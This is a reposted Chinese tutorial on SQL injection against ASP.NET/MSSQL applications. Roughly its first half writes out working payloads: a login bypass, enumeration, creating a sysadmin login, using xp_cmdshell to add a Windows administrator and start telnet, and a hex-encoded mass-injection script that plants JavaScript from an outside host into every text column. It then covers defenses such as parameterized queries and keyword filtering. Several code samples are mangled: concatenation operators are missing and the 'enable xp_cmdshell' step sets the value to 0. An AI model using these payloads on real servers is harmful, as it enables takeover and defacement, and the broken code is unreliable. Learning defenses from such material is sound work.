新四季網

黑客擅長的sql注入攻擊你真的懂嗎(小熊吐槽之黑客攻防技術---SQL注入攻擊大解析)

2023-10-24 00:11:43 1

畢業開始從事winfrm到今年轉到 web ,在碼農屆已經足足混了快接近3年了,但是對安全方面的知識依舊薄弱,事實上是沒機會接觸相關開發……必須的各種藉口。這幾天把sql注入的相關知識整理了下,希望大家多多提意見。

(對於sql注入的攻防,我只用過簡單拼接字符串的注入及參數化查詢,可以說沒什麼好經驗,為避免後知後覺的犯下大錯,專門查看大量前輩們的心得,這方面的資料頗多,將其精簡出自己覺得重要的,就成了該文)

下面的程序方案是採用 ASP.NET MSSQL,其他技術在設置上會有少許不同。

示例程序下載:SQL注入攻防入門詳解_示例(http://files.cnblogs.com/heyuquan/SQL注入攻防入門詳解_示例.rar)

什麼是SQL注入(SQL Injection)

所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙伺服器執行惡意的SQL命令。在某些表單中,用戶輸入的內容直接用來構造(或者影響)動態SQL命令,或作為存儲過程的輸入參數,這類表單特別容易受到SQL注入式攻擊。

嘗嘗SQL注入

1、一個簡單的登錄頁面

合併的SQL為:

SELECT COUNT(*) FROM Login WHERE UserName='admin' AND Password='123456'

輸入注入數據:

如圖,即用戶名為:用戶名:admin』—,密碼可隨便輸入

合併的SQL為:

SELECT COUNT(*) FROM Login WHERE UserName='admin'-- Password='123'

因為UserName值中輸入了「--」注釋符,後面語句被省略而登錄成功。(常常的手法:前面加上'; ' (分號,用於結束前一條語句),後邊加上'--' (用於注釋後邊的語句))

2、上面是最簡單的一種SQL注入,常見的注入語句還有:

1) 猜測資料庫名,備份資料庫

a) 猜測資料庫名: and db_name >0 或系統表master.dbo.sysdatabases

b) 備份資料庫:;backup database 資料庫名 to disk = 『c:\*.db』;--

或:declare @a sysname;set @a=db_name;backup database @a to disk='你的IP你的共享目錄bak.dat' ,name='test';--

2) 猜解欄位名稱

猜解法:and (select count(欄位名) from 表名)>0 若「欄位名」存在,則返回正常

讀取法:and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0 把col_name(object_id('表名'),1)中的1依次換成2,3,4,5,6…就可得到所有的欄位名稱。

3) 遍歷系統的目錄結構,分析結構並發現WEB虛擬目錄(伺服器上傳木馬)

先創建一個臨時表:;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

a) 利用xp_availablemedia來獲得當前所有驅動器,並存入temp表中

;insert temp exec master.dbo.xp_availablemedia;--

b) 利用xp_subdirs獲得子目錄列表,並存入temp表中

;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';--

c) 利用xp_dirtree可以獲得「所有」子目錄的目錄樹結構,並存入temp表中

;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- (實驗成功)

d) 利用 BCP 命令將表內容導成文件

即插入木馬文本,然後導出存為文件。比如導出為asp文件,然後通過瀏覽器訪問該文件並執行惡意腳本。(使用該命令必須啟動』 xp_cmdshell』)

Exec master..xp_cmdshell N'BCP "select * from SchoolMarket.dbo.GoodsStoreData;" queryout c:/inetpub/wwwroot/runcommand.asp -w -S"localhost" -U"sa" -P"123"'

(注意:語句中使用的是雙引號,另外表名格式為「資料庫名.用戶名.表名」)

在sql查詢器中通過語句:Exec master..xp_cmdshell N'BCP』即可查看BCP相關參數,如圖:

4) 查詢當前用戶的資料庫權限

MSSQL中一共存在8種權限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

可通過1=(select IS_SRVROLEMEMBER('sysadmin'))得到當前用戶是否具有該權限。

5) 設置新的資料庫帳戶(得到MSSQL管理員帳戶)

d) 在資料庫內添加一個hax用戶,默認密碼是空

;exec sp_addlogin'hax';--

e) 給hax設置密碼 (null是舊密碼,password是新密碼,user是用戶名)

;exec master.dbo.sp_password null,password,username;--

f) 將hax添加到sysadmin組

;exec master.dbo.sp_addsrvrolemember 'hax' ,'sysadmin';--

6) xp_cmdshell MSSQL存儲過程(得到 WINDOWS管理員帳戶 )

通過(5)獲取到sysadmin權限的帳戶後,使用查詢分析器連接到資料庫,可通過xp_cmdshell運行系統命令行(必須是sysadmin權限),即使用 cmd.exe 工具,可以做什麼自己多了解下。

下面我們使用xp_cmdshell來創建一個 Windows 用戶,並開啟遠程登錄服務:

a) 判斷xp_cmdshell擴展存儲過程是否存在

SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name ='xp_cmdshell'

b) 恢復xp_cmdshell擴展存儲過程

Exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';

開啟後使用xp_cmdshell還會報下面錯誤:

SQL Server 阻止了對組件 'xp_cmdshell' 的過程 'sys.xp_cmdshell' 的訪問,因為此組件已作為此伺服器安全配置的一部分而被關閉。系統管理員可以通過使用sp_configure啟用 'xp_cmdshell'。有關啟用 'xp_cmdshell' 的詳細信息,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。

通過執行下面語句進行設置:

-- 允許配置高級選項

EXEC sp_configure 'show advanced options', 1

GO

-- 重新配置

RECONFIGURE

GO

-- 啟用xp_cmdshell

EXEC sp_configure 'xp_cmdshell', 0

GO

--重新配置

RECONFIGURE

GO

c) 禁用xp_cmdshell擴展存儲過程

Exec master.dbo.sp_dropextendedproc 'xp_cmdshell';

d) 添加windows用戶:

Exec xp_cmdshell 'net user awen /add';

e) 設置好密碼:

Exec xp_cmdshell 'net user awen password';

f) 提升到管理員:

Exec xp_cmdshell 'net localgroup administrators awen /add';

g) 開啟telnet服務:

Exec xp_cmdshell 'net start tlntsvr'

7) 沒有xp_cmdshell擴展程序,也可創建Windows帳戶的辦法.

(本人windows7系統,測試下面SQL語句木有效果)

declare @shell int ;

execsp_OAcreate 'w script .shell',@shell output ;

execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen /add';

execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net user awen 123';

execsp_OAmethod @shell,'run',null,'C:\Windows\System32\cmd.exe /c net localgroup administrators awen /add';

在使用的時候會報如下錯:

SQL Server 阻止了對組件 'Ole Automation Procedures' 的過程 'sys.sp_OACreate'、'sys.sp_OAMethod' 的訪問,因為此組件已作為此伺服器安全配置的一部分而被關閉。系統管理員可以通過使用sp_configure啟用 'Ole Automation Procedures'。有關啟用 'Ole Automation Procedures' 的詳細信息,請參閱 SQL Server 聯機叢書中的 "外圍應用配置器"。

解決辦法:

sp_configure 'show advanced options', 1;

GO

RECONFIGURE;

GO

sp_configure 'Ole Automation Procedures', 1;

GO

RECONFIGURE;

GO

好了,這樣別人可以登錄你的伺服器了,你怎麼看?

8) 客戶端腳本攻擊

攻擊1:(正常輸入)攻擊者通過正常的輸入提交方式將惡意腳本提交到資料庫中,當其他用戶瀏覽此內容時就會受到惡意腳本的攻擊。

措施:轉義提交的內容,.NET 中可通過System.Net.WebUtility.HtmlEncode(string) 方法將字符串轉換為HTML編碼的字符串。

攻擊2:(SQL注入)攻擊者通過SQL注入方式將惡意腳本提交到資料庫中,直接使用SQL語法UPDATE資料庫,為了跳過System.Net.WebUtility.HtmlEncode(string) 轉義,攻擊者會將注入SQL經過「HEX編碼」,然後通過exec可以執行「動態」SQL的特性運行腳本」。

參考:

注入:SQL注入案例曝光,請大家提高警惕

恢復:批量清除資料庫中被植入的js

示例代碼:(可在示例附帶的資料庫測試)

a) 向當前資料庫的每個表的每個欄位插入一段惡意腳本

Declare @T varchar(255),@C Varchar(255) Declare Table_Cursor Cursor For Select A.Name,B.Name From SysobjectsA,Syscolumns B Where A.Id=B.Id And A.Xtype='u' And (B.Xtype=99 Or B.Xtype=35 Or B.Xtype=231 Or B.Xtype=167) Open Table_Cursor Fetch Next From Table_Cursor Into @T,@C While(@@Fetch_Status=0) Begin Exec('update [' @T '] Set [' @C ']=Rtrim(Convert(Varchar(8000),[' @C '])) ''''') Fetch Next From Table_Cursor Into @T,@C End Close Table_Cursor DeallocateTable_Cursor

b) 更高級的攻擊,將上面的注入SQL進行「HEX編碼」,從而避免程序的關鍵字檢查、腳本轉義等,通過EXEC執行

dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72; eXeC(@s);--plain

c) 批次刪除資料庫被注入的腳本

declare @delStrnvarchar(500) set @delStr='' --要被替換掉字符 setnocount on declare @tableNamenvarchar(100),@columnNamenvarchar(100),@tbIDint,@iRowint,@iResultint declare @sqlnvarchar(500) set @iResult=0 declare cur cursor for selectname,id from sysobjects where xtype='U' open cur fetch next from cur into @tableName,@tbID while @@fetch_status=0 begin declare cur1 cursor for --xtype in (231,167,239,175) 為char,varchar,nchar,nvarchar類型 select name from syscolumns where xtype in (231,167,239,175) and id=@tbID open cur1 fetch next from cur1 into @columnName while @@fetch_status=0 begin set @sql='update [' @tableName '] set [' @columnName ']= replace([' @columnName '],''' @delStr ''','''') where [' @columnName '] like ''%' @delStr '%''' execsp_executesql @sql set @iRow=@@rowcount set @iResult=@iResult @iRow if @iRow>0 begin print '表:' @tableName ',列:' @columnName '被更新' convert(varchar(10),@iRow) '條記錄;' end fetch next from cur1 into @columnName end close cur1 deallocate cur1 fetch next from cur into @tableName,@tbID end print '資料庫共有' convert(varchar(10),@iResult) '條記錄被更新!!!' close cur deallocate cur setnocount off

d) 我如何得到「HEX編碼」?

開始不知道HEX是什麼東西,後面查了是「十六進位」,網上已經給出兩種轉換方式:(注意轉換的時候不要加入十六進位的標示符 』0x』 )

Ø 在線轉換 (TRANSLATOR, BINARY),進入……

Ø C#版的轉換,進入……

比如過濾了update,卻沒有過濾declare、exec等關鍵詞,我們可以使用reverse來將倒序的sql進行注入:

declare @A varchar(200);set @A=reverse('''58803303431''=emanresu erehw ''9d4d9c1ac9814f08''=drowssaP tes xxx tadpu');

防止SQL注入

1、資料庫權限控制,只給訪問資料庫的web應用功能所需的最低權限帳戶。

如MSSQL中一共存在8種權限:sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin。

2、自定義錯誤信息,首先我們要屏蔽伺服器的詳細錯誤信息傳到客戶端。

在 ASP.NET 中,可通過web.config配置文件的節點設置:

看下效果圖:

設置為一般性錯誤:

設置為:

3、把危險的和不必要的存儲過程刪除

xp_:擴展存儲過程的前綴,SQL注入攻擊得手之後,攻擊者往往會通過執行xp_cmdshell之類的擴展存儲過程,獲取系統信息,甚至控制、破壞系統。

4. 非參數化SQL與參數化SQL

1) 非參數化(動態拼接SQL)

a) 檢查客戶端腳本:若使用.net,直接用

System.Net.WebUtility.HtmlEncode(string)將輸入值中包含的《HTML特殊轉義字符》轉換掉。

b) 類型檢查:對接收數據有明確要求的,在方法內進行類型驗證。如數值型用int.TryParse,日期型用DateTime.TryParse ,只能用英文或數字等。

c) 長度驗證:要進行必要的注入,其語句也是有長度的。所以如果你原本只允許輸入10字符,那麼嚴格控制10個字符長度,一些注入語句就沒辦法進行。

d) 使用枚舉:如果只有有限的幾個值,就用枚舉。

e) 關鍵字過濾:這個門檻比較高,因為各個資料庫存在關鍵字,內置函數的差異,所以對編寫此函數的功底要求較高。如公司或個人有積累一個比較好的通用過濾函數還請留言分享下,學習學習,謝謝!

這邊提供一個關鍵字過濾參考方案(MSSQL):

public static bool ValiParms(string parms) { if (parms == null) { return false; } Regex regex = new Regex("sp_", RegexOptions.IgnoreCase); Regex regex2 = new Regex("'", RegexOptions.IgnoreCase); Regex regex3 = new Regex("create ", RegexOptions.IgnoreCase); Regex regex4 = new Regex("drop ", RegexOptions.IgnoreCase); Regex regex5 = new Regex("\"", RegexOptions.IgnoreCase); Regex regex6 = new Regex("exec ", RegexOptions.IgnoreCase); Regex regex7 = new Regex("xp_", RegexOptions.IgnoreCase); Regex regex8 = new Regex("insert ", RegexOptions.IgnoreCase); Regex regex9 = new Regex("delete ", RegexOptions.IgnoreCase); Regex regex10 = new Regex("select ", RegexOptions.IgnoreCase); Regex regex11 = new Regex("update ", RegexOptions.IgnoreCase); return (regex.IsMatch(parms) || (regex2.IsMatch(parms) || (regex3.IsMatch(parms) || (regex4.IsMatch(parms) || (regex5.IsMatch(parms) || (regex6.IsMatch(parms) || (regex7.IsMatch(parms) || (regex8.IsMatch(parms) || (regex9.IsMatch(parms) || (regex10.IsMatch(parms) || (regex11.IsMatch(parms)))))))))))); }

優點:寫法相對簡單,網絡傳輸量相對參數化拼接SQL小

缺點:

a) 對於關鍵字過濾,常常「顧此失彼」,如漏掉關鍵字,系統函數,對於HEX編碼的SQL語句沒辦法識別等等,並且需要針對各個資料庫封裝函數。

b) 無法滿足需求:用戶本來就想發表包含這些過濾字符的數據。

c) 執行拼接的SQL浪費大量緩存空間來存儲只用一次的查詢計劃。伺服器的物理內存有限,SQLServer的緩存空間也有限。有限的空間應該被充分利用。

2) 參數化查詢(Parameterized Query)

a) 檢查客戶端腳本,類型檢查,長度驗證,使用枚舉,明確的關鍵字過濾這些操作也是需要的。他們能儘早檢查出數據的有效性。

b) 參數化查詢原理:在使用參數化查詢的情況下,資料庫伺服器不會將參數的內容視為SQL指令的一部份來處理,而是在資料庫完成 SQL 指令的編譯後,才套用參數運行,因此就算參數中含有具有損的指令,也不會被資料庫所運行。

c) 所以在實際開發中,入口處的安全檢查是必要的,參數化查詢應作為最後一道安全防線。

優點:

Ø 防止SQL注入(使單引號、分號、注釋符、xp_擴展函數、拼接SQL語句、EXEC、SELECT、UPDATE、DELETE等SQL指令無效化)

Ø 參數化查詢能強制執行類型和長度檢查。

Ø 在MSSQL中生成並重用查詢計劃,從而提高查詢效率(執行一條SQL語句,其生成查詢計劃將消耗大於50%的時間)

缺點:

Ø 不是所有資料庫都支持參數化查詢。目前Access、SQL Server、MySQL、SQLite、Oracle等常用資料庫支持參數化查詢。

疑問:參數化如何「批量更新」資料庫。

a) 通過在參數名上增加一個計數來區分開多個參數化語句拼接中的同名參數。

EG:

StringBuilder sqlBuilder=new StringBuilder(512); Int count=0; For(循環) { sqlBuilder.AppendFormat(「UPDATE login SET password=@password{0} WHERE username=@userName{0}」,count.ToString); SqlParameter para=new SqlParamter{ParameterName=@password count.ToString} …… Count ; }

b) 通過MSSQL 2008的新特性:表值參數,將C#中的整個表當參數傳遞給存儲過程,由SQL做邏輯處理。注意C#中參數設置parameter.SqlDbType = System.Data.SqlDbType.Structured; 詳細請查看……

疑慮:有部份的開發人員可能會認為使用參數化查詢,會讓程序更不好維護,或者在實現部份功能上會非常不便,然而,使用參數化查詢造成的額外開發成本,通常都遠低於因為SQL注入攻擊漏洞被發現而遭受攻擊,所造成的重大損失。

另外:想驗證重用查詢計劃的同學,可以使用下面兩段輔助語法

--清空緩存的查詢計劃 DBCC FREEPROCCACHE GO --查詢緩存的查詢計劃 SELECT stats.execution_count AS cnt, p.size_in_bytes AS [size], [sql].[text] AS [plan_text] FROM sys.dm_exec_cached_plans p OUTER APPLY sys.dm_exec_sql_text (p.plan_handle) sql JOIN sys.dm_exec_query_stats stats ON stats.plan_handle = p.plan_handle GO

參數化查詢示例

效果如圖:

參數化關鍵代碼:

Private bool ProtectLogin(string userName, string password) { SqlParameter[] parameters = new SqlParameter[] { new,SqlDbType=SqlDbType.NVarChar,Size=10,Value=userName}, new,SqlDbType=SqlDbType.VarChar,Size=20,Value=password} }; int count = (int)SqlHelper.Instance.ExecuteScalar ("SELECT COUNT(*) FROM Login WHERE UserName=@UserName AND Password=@password", parameters); return count > 0 ? true : false; }

結束語:感謝你耐心的觀看。恭喜你, SQL安全攻防你已經入門了……

歡迎大家在下方積極吐槽,小編會一一進行查看並回復,期待你的答案哦……

-----------------------------------------------

小熊轉載自 滴答的雨 - 博客園,如果喜歡請轉發,小小支持一下。

更多精彩文章請關注 本頭條號(小熊學IT ) 或 微信公眾號 ITDetail(小熊學IT ),更有機會聯繫小熊為你在IT行業的答疑解惑……

,
同类文章
葬禮的夢想

葬禮的夢想

夢見葬禮,我得到了這個夢想,五個要素的五個要素,水火只好,主要名字在外面,職業生涯良好,一切都應該對待他人治療誠意,由於小,吉利的冬天夢想,秋天的夢是不吉利的
找到手機是什麼意思?

找到手機是什麼意思?

找到手機是什麼意思?五次選舉的五個要素是兩名士兵的跡象。與他溝通很好。這是非常財富,它擅長運作,職業是仙人的標誌。單身男人有這個夢想,主要生活可以有人幫忙
我不怎麼想?

我不怎麼想?

我做了什麼意味著看到米飯烹飪?我得到了這個夢想,五線的主要土壤,但是Tu Ke水是錢的跡象,職業生涯更加真誠。他真誠地誠實。這是豐富的,這是夏瑞的巨星
夢想你的意思是什麼?

夢想你的意思是什麼?

你是什​​麼意思夢想的夢想?夢想,主要木材的五個要素,水的跡象,主營業務,主營業務,案子應該抓住魅力,不能疏忽,春天夢想的吉利夢想夏天的夢想不幸。詢問學者夢想
拯救夢想

拯救夢想

拯救夢想什麼意思?你夢想著拯救人嗎?拯救人們的夢想有一個現實,也有夢想的主觀想像力,請參閱週宮官方網站拯救人民夢想的詳細解釋。夢想著敵人被拯救出來
2022愛方向和生日是在[質量個性]中

2022愛方向和生日是在[質量個性]中

[救生員]有人說,在出生88天之前,胎兒已經知道哪天的出生,如何有優質的個性,將走在什麼樣的愛情之旅,將與生活生活有什么生活。今天
夢想切割剪裁

夢想切割剪裁

夢想切割剪裁什麼意思?你夢想切你的手是好的嗎?夢想切割手工切割手有一個真正的影響和反應,也有夢想的主觀想像力。請參閱官方網站夢想的細節,以削減手
夢想著親人死了

夢想著親人死了

夢想著親人死了什麼意思?你夢想夢想你的親人死嗎?夢想有一個現實的影響和反應,還有夢想的主觀想像力,請參閱夢想世界夢想死亡的親屬的詳細解釋
夢想搶劫

夢想搶劫

夢想搶劫什麼意思?你夢想搶劫嗎?夢想著搶劫有一個現實的影響和反應,也有夢想的主觀想像力,請參閱週恭吉夢官方網站的詳細解釋。夢想搶劫
夢想缺乏缺乏紊亂

夢想缺乏缺乏紊亂

夢想缺乏缺乏紊亂什麼意思?你夢想缺乏異常藥物嗎?夢想缺乏現實世界的影響和現實,還有夢想的主觀想像,請看官方網站的夢想組織缺乏異常藥物。我覺得有些東西缺失了